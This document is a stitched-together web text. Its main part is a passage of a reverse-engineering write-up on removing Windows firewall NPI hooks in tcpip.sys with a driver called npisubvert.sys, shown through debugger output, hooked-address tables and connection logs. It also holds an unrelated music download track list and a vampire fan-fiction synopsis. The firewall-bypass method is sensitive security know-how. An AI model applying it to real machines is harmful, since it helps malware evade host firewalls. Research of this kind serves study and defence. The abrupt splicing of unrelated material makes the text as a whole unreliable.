QueryDispatch: 0x8822A004 (0x8822A004 real)
Endpoint: 0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys
Message: 0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys
Listen: 0x8822A093 (0x8822A093 real)
ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real)
Cancel: 0x8822A07D (0x8822A07D real)

RawTlProviderEndpointDispatch: 0x8824AE78
CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)

RawTlProviderMessageDispatch: 0x8824AE84
CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
SendMessages: 0x88229350 (0x88229350 real)

The NPI hooks have been cleaned successfully


Check some of the unhooked tables:


kd> dd TcpTlProviderDispatch
8824a8fc 88220c52 8822a004 881db212 88229ff9
8824a90c 881c9e59 881ddf90 881dfcc4 881c979b

kd> u 88220c52
tcpip!TcpTlProviderIoControl:
88220c52 8bff mov edi,edi
88220c54 55 push ebp
88220c55 8bec mov ebp,esp
88220c57 8b450c mov eax,dword ptr [ebp+0Ch]

kd> u 881ddf90
tcpip!TcpTlProviderConnect:
881ddf90 8bff mov edi,edi
881ddf92 55 push ebp
881ddf93 8bec mov ebp,esp
881ddf95 5d pop ebp
881ddf96 e97cedffff jmp tcpip!TcpCreateAndConnectTcb (881dcd17)


Wait for some time and try again (maybe the firewall restores its hooks?):


kd> g
TCPIP.SYS image region: 0x8819F000..0x88270000

TcpTlProviderDispatch: 0x8824A8FC
IoControl: 0x88220C52 (0x88220C52 real)
QueryDispatch: 0x8822A004 (0x8822A004 real)
Endpoint: 0x881DB212 (0x881DB212 real)
Message: 0x88229FF9 (0x88229FF9 real)
Listen: 0x881C9E59 (0x881C9E59 real)
ReleaseIndicationList: 0x881DFCC4 (0x881DFCC4 real)
Cancel: 0x881C979B (0x881C979B real)

TcpTlProviderEndpointDispatch: 0x8824A91C
CloseEndpoint: 0x881DBD38 (0x881DBD38 real)
IoControlEndpoint: 0x881DB5E2 (0x881DB5E2 real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)

TcpTlProviderConnectDispatch: 0x8824A938
CloseEndpoint: 0x881E4543 (0x881E4543 real)
IoControlEndpoint: 0x881E01ED (0x881E01ED real)
QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
Send: 0x8820E188 (0x8820E188 real)
...


Try the x64 version of the firewall (Outpost Firewall Pro 2008 v6.0). Prior tries:


kd> dq TcpTlProviderConnectDispatch
fffffa60`00f83278 fffffa60`026e2a9c fffffa60`00ec60e0
fffffa60`00f83288 fffffa60`00ee23cc fffffa60`026e3d30
fffffa60`00f83298 fffffa60`026e3ac4 fffffa60`026e4710

kd> u fffffa60`026e2a9c
*** ERROR: Module load completed but symbols could not be loaded for afw.sys
afw+0xda9c:
fffffa60`026e2a9c 48895c2408 mov qword ptr [rsp+8],rbx
fffffa60`026e2aa1 55 push rbp
fffffa60`026e2aa2 56 push rsi
fffffa60`026e2aa3 57 push rdi
fffffa60`026e2aa4 4883ec50 sub rsp,50h
fffffa60`026e2aa8 488b0559e70200 mov rax,qword ptr [afw+0x3c208 (fffffa60`02711208)]
fffffa60`026e2aaf 488bf1 mov rsi,rcx
fffffa60`026e2ab2 bd010000c0 mov ebp,0C0000001h

kd> u fffffa60`026e3d30
afw+0xed30:
fffffa60`026e3d30 48895c2408 mov qword ptr [rsp+8],rbx
fffffa60`026e3d35 48896c2410 mov qword ptr [rsp+10h],rbp
fffffa60`026e3d3a 4889742420 mov qword ptr [rsp+20h],rsi
fffffa60`026e3d3f 57 push rdi
fffffa60`026e3d40 4883ec50 sub rsp,50h
fffffa60`026e3d44 48833dd4d4020000 cmp qword ptr [afw+0x3c220 (fffffa60`02711220)],0
fffffa60`026e3d4c 488bfa mov rdi,rdx
fffffa60`026e3d4f 488bd9 mov rbx,rcx

kd> dq RawTlProviderMessageDispatch
fffffa60`00f82e08 fffffa60`026e7d04 fffffa60`00e70000
fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860

kd> u fffffa60`026e7d04
afw+0x12d04:
fffffa60`026e7d04 48895c2408 mov qword ptr [rsp+8],rbx
fffffa60`026e7d09 48896c2410 mov qword ptr [rsp+10h],rbp
fffffa60`026e7d0e 56 push rsi
fffffa60`026e7d0f 57 push rdi
fffffa60`026e7d10 4154 push r12
fffffa60`026e7d12 4883ec20 sub rsp,20h
fffffa60`026e7d16 4c8bc1 mov r8,rcx
fffffa60`026e7d19 4c8bca mov r9,rdx


Run npisubvert.sys:


TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000

TcpTlProviderDispatch: 0xFFFFFA6000F83200
IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real)
QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real)
Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys

TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)

TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278
CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real)
QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys

TcpTlProviderListenDispatch: 0xFFFFFA6000F83258
CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real)
QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)

UdpTlProviderDispatch: 0xFFFFFA6000F82F70
IoControl: 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real)
QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
Endpoint: 0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys
Message: 0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys
Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real)
ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real)
Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)

)
...

The NPI hooks have been cleaned successfully
...

MakeHttpRequest(): WskConnect() failed with status 0xC0000001
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5


The error 0xC0000001 (STATUS_UNSUCCESSFUL) occurs when the firewall blocks the application’s call right from the NPI level. The error 0xC00000B5 (STATUS_IO_TIMEOUT) occurs because the TCP/IP stack has been waiting for really long time and didn’t establish a connection. tcpip.sys sends the SYN packet to the network driver and awaits for the SYN+ACK reply. But it blocks by the second firewall’s part placed on NDIS. The firewall’s window won’t be shown anymore because the firewall cannot intercept any applications’ calls.

In other words you cannot bypass the firewalls completely by using NPI unhooking only. BTW, the firewalls based on NDIS v6, which was introduced in Windows Vista, are much easier to unhook and bypass. Maybe it’s going to be a reason for a new article or reverse engineering research. Have fun! ;)

the Matrix.


Click here down load the Matrix







|-------------------------------------------------------------------------------------|
| Track list: |
|-------------------------------------------------------------------------------------|
(1) icon of coil - regret (combichrist remix)
(2) Neuroticfish - Skin
(3) Lights Of Euphoria - True Life
(4) The Prodigy - Warrior's Dance (GPF Edit).
(5) Modulate Skullfuck (Combichrist Remix).
(6) Suhuman VS Marco Reloop subhuman .(GPF MIX)
(7) Funker Vogt - Navigator\Navigator.
(8) Rotersand - Social Distortion (Darkflow).
(9) Revolution by night - faithless (vnv nation remix edit)
(10) Angel theory - black and blue
(11) Nothern Lite - My Pain
(12) Various-ediment 4 Kennen Sie Trance.
(13) Ashbury heights-die by numbers(remixbyagonoize).
(14) Covenant - Theremin [Club Edit].
(15) God module - orange and black
(16) Northborne-the pill
(17) Media Prayer (Radio Edit).
(18) Z prochek - Point Blank (Standing Alone mix).
(19) Frontline Assembly and Project Pitchfork - Renascence [Mix].
(20) suicide commando-fuck you bitch(tbmix by suicide commande) .
(21) Syrian - Enforcer.
(22) Noisuf-X - hit me hard (club mix).
(23) The crystal line effect-when your easleep(remix).
(24) Apoptygma Berzerk - Electricity.
(25) Assemblage23-house on fire.
(26) non plus ultra-alice-d(clubversion)-radial.
|-------------------------------------------------------------------------------------|
| --> --> --> TOTAL PLAYING TIME: 73:31 |

click on above for biger version

Vampire's Lesson in Betrayal by ~MaskDemon on deviantART







Ramses and Zapparoah are the descendants of the original Cleopatra, Queen Of
The Nile. Though Zapparoah is the one that formed the kindred and could
rightfully be the princess she feels no desire to be involved in politics. For
this reason Ramses is the current prince of the kindred.

Ramses and Zapparoah wish to return home for a visit with their parents. In
order for them to do that since Ramses must a successor to rule the kindred.
His pick is definitely not the one his sister Zapparoah would choose.
Zapparoah feels a human child would not be the best choice for successor. So
what to do? How is Ramses to prove that his choice is the right one, even
though his sister and the council have voted against his choice?

The council and Zapparoah feel that a young human female is not the one that
can defend them against the rogue vampires that are trying to destroy the
kindred, and their way of life. They feel an elder vampire would be the proper
choice. Ramses chooses to overrule the council and his sister. This in itself
is cause for some dissent among the kindred. It also opens the way for
Machiavelli, head of the rogue vampires to cause even more problems.
Machiavelli has become a strong presence among the rougues, though no one knows
his true identity. He has become increasingly more violent in his attempts to
take over the kindred. This combined with a traitor among those close to
Ramses and Zapparoah is the setting for an all out war between the Machiavelli,
his crew and Ramses, Zapparoah and their people

dont want this kind of death by ~MaskDemon on deviantART

click on above icon for full view

The Lycan wars version B by ~MaskDemon on deviantART

click on icon for full view